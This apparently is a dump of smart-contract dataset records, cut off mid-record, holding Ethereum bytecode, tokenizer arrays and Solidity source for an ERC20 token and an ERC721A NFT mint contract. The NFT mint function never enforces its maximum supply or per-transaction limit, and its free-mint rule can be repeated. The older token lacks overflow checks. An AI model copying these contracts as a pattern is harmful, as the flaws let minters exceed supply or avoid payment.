ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72305820883f3a4af186bb447b819c1e4a5fc2f05e24743dd758ddd40698c9feee47e95a64736f6c634300050a0032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2509, 29292, 2063, 2575, 2278, 22394, 2546, 2509, 7959, 2683, 2094, 2581, 2575, 23352, 2050, 2692, 2850, 22025, 23833, 17465, 2487, 2050, 11387, 17788, 6679, 22932, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 19204, 3115, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,114
0x963c69cca9b9193581ea100bc2ca31322e30d463
pragma solidity ^0.4.11; contract OHGLuangPrabang { uint public constant _totalSupply = 150000000000000000000000000; string public constant symbol = "OHGLP"; string public constant name = "OHG Luang Prabang"; uint8 public constant decimals = 18; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function OHGLuangPrabang() { balances[msg.sender] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer (address _to, uint256 _value) returns (bool success) { require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] -= _value; balances[_to] += _value; allowed [_from][msg.sender] -= _value; Transfer (_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce567146102335780633eaaf86b1461026257806370a082311461028b57806395d89b41146102d8578063a9059cbb14610366578063dd62ed3e146103c0575b600080fd5b34156100b457600080fd5b6100bc61042c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610465565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a4610557565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061056a565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b6102466107df565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b6102756107e4565b6040518082815260200191505060405180910390f35b341561029657600080fd5b6102c2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107f3565b6040518082815260200191505060405180910390f35b34156102e357600080fd5b6102eb61083b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037157600080fd5b6103a6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610874565b604051808215151515815260200191505060405180910390f35b34156103cb57600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109d6565b6040518082815260200191505060405180910390f35b6040805190810160405280601181526020017f4f4847204c75616e672050726162616e6700000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006a7c13bc4b2c133c56000000905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156106365750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156106425750600082115b151561064d57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6a7c13bc4b2c133c5600000081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600581526020017f4f48474c5000000000000000000000000000000000000000000000000000000081525081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156108c45750600082115b15156108cf57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820b14692ea29319ef2b82e2950b03eb09dfc4598718cb1b4a8cf421fa18d29c8910029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2509, 2278, 2575, 2683, 16665, 2683, 2497, 2683, 16147, 19481, 2620, 2487, 5243, 18613, 9818, 2475, 3540, 21486, 16703, 2475, 2063, 14142, 2094, 21472, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2340, 1025, 3206, 2821, 23296, 13860, 21600, 2527, 25153, 1063, 21318, 3372, 2270, 5377, 1035, 21948, 6279, 22086, 1027, 10347, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 8889, 2692, 1025, 5164, 2270, 5377, 6454, 1027, 1000, 2821, 23296, 2361, 1000, 1025, 5164, 2270, 5377, 2171, 1027, 1000, 2821, 2290, 11320, 5654, 10975, 19736, 3070, 1000, 1025, 21318, 3372, 2620, 2270, 5377, 26066, 2015, 1027, 2324, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,115
0x963C7D73eC045fbc954e43560a6442B885e3d55f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; contract Umans is ERC721A, Ownable, ReentrancyGuard { using Address for address; using Strings for uint; string public baseTokenURI = "ipfs://QmVG12BjobjxCzPbPgp7pWc2zzKmJCwg1gru6LoMz8fDDE"; uint256 public maxSupply = 1000; uint256 public MAX_MINTS_PER_TX = 20; uint256 public FREE_MINTS_PER_TX = 2; uint256 public PUBLIC_SALE_PRICE = 0.005 ether; uint256 public TOTAL_FREE_MINTS = 200; bool public isPublicSaleActive = true; constructor( ) ERC721A("Ancestral Umans", "Umans") { } function mint(uint256 numberOfTokens) external payable { require(isPublicSaleActive, "Public sale is not open"); if(totalSupply() + numberOfTokens > TOTAL_FREE_MINTS || numberOfTokens > FREE_MINTS_PER_TX){ require( (PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value, "Incorrect ETH value sent" ); } _safeMint(msg.sender, numberOfTokens); } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function treasuryMint(uint quantity, address user) public onlyOwner { require( quantity > 0, "Invalid mint amount" ); require( totalSupply() + quantity <= maxSupply, "Maximum supply exceeded" ); _safeMint(user, quantity); } function withdraw() public onlyOwner nonReentrant { Address.sendValue(payable(msg.sender), address(this).balance); } function tokenURI(uint _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseTokenURI, "/", _tokenId.toString(), ".json")); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { isPublicSaleActive = _isPublicSaleActive; } function setNumFreeMints(uint256 _numfreemints) external onlyOwner { TOTAL_FREE_MINTS = _numfreemints; } function setSalePrice(uint256 _price) external onlyOwner { PUBLIC_SALE_PRICE = _price; } function setMaxLimitPerTransaction(uint256 _limit) external onlyOwner { MAX_MINTS_PER_TX = _limit; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // Compiler will pack the following // _currentIndex and _burnCounter into a single 256bit word. // The tokenId of the next token to be minted. uint128 internal _currentIndex; // The number of tokens burned. uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) public view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See 